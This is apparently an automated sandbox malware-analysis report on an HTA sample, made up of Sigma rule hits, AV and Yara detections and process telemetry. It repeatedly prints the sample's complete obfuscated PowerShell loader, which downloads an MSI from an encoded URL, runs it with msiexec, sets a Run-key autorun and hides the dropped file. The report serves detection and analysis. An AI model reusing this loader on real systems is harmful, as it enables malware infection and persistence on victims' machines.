bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attri

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attri

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attri

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\ONHQNHFT.msi, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2676, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iJOtPBQ

Sigma detected: Potential Dosfuscation Activity

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attri

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\svchost.exe, ProcessId: 5184, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT74E7.tmp

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attri

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5184, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: es.hta	ReversingLabs: Detection: 23%
Source: es.hta	Virustotal: Detection: 26%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\jwhchx

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 17.2.cmd.exe.2cb2800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cmd.exe.37307f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.cmd.exe.2cb07f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cmd.exe.3732800.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cmd.exe.37307f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.cmd.exe.507a6cd.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.cmd.exe.4c70acd.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.cmd.exe.49dba00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.cmd.exe.2cb07f8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.cmd.exe.4a20acd.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.cmd.exe.5079acd.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.cmd.exe.55326cd.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.cmd.exe.4c716cd.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.cmd.exe.551b6cd.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cmd.exe.56ecacd.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.cmd.exe.54eca00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cmd.exe.56ed6cd.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.cmd.exe.4c2ba00.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.cmd.exe.551aacd.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.cmd.exe.54d5a00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.cmd.exe.5034a00.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.comvalidate_ljv3.exe.26ddaed.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.comvalidate_ljv3.exe.26de6ed.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.cmd.exe.4a216cd.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cmd.exe.56a7a00.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.cmd.exe.5531acd.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.comvalidate_ljv3.exe.2698a20.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2556516016.0000000002CB0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2900891112.00000000049D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2671043723.0000000003730000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2160089196.00000000037EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2900887958.00000000054E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 6156, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 6236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 5948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 4928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: comvalidate_ljv3.exe PID: 3736, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.4:49730 version: TLS 1.2

Source:	Binary string: ntdll.pdb source: comvalidate_ljv3.exe, 00000021.00000002.2907516864.000000000699F000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903071583.0000000003B93000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906086649.000000000559A000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906725492.0000000005D9F000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906588575.0000000005B94000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2907648978.0000000006B94000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903563916.0000000003F96000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905084830.0000000004999000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2902750892.0000000003996000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906444105.0000000005995000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905755247.000000000519B000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903348967.0000000003D9B000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2907126656.000000000639C000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905587502.0000000004F92000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: IDRBackup.exe, 0000000A.00000002.2285175464.0000000003E3B000.00000004.00000800.00020000.00000000.sdmp, IDRBackup.exe, 0000000A.00000002.2255295545.0000000003AD4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824482193.0000000005550000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2823785532.0000000004C83000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2571886494.0000000005150000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2557509478.000000000487F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2681446468.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2672832626.00000000052F2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2900638243.0000000005126000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2902399682.00000000059F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: comvalidate_ljv3.exe, 00000021.00000002.2907516864.000000000699F000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903071583.0000000003B93000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906086649.000000000559A000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906725492.0000000005D9F000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906588575.0000000005B94000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2907648978.0000000006B94000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903563916.0000000003F96000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905084830.0000000004999000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2902750892.0000000003996000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2906444105.0000000005995000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905755247.000000000519B000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2903348967.0000000003D9B000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2907126656.000000000639C000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2905587502.0000000004F92000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: IDRBackup.exe, 0000000A.00000002.2285175464.0000000003E3B000.00000004.00000800.00020000.00000000.sdmp, IDRBackup.exe, 0000000A.00000002.2255295545.0000000003AD4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824482193.0000000005550000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2823785532.0000000004C83000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2571886494.0000000005150000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2557509478.000000000487F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2681446468.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2672832626.00000000052F2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2900638243.0000000005126000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2902399682.00000000059F0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
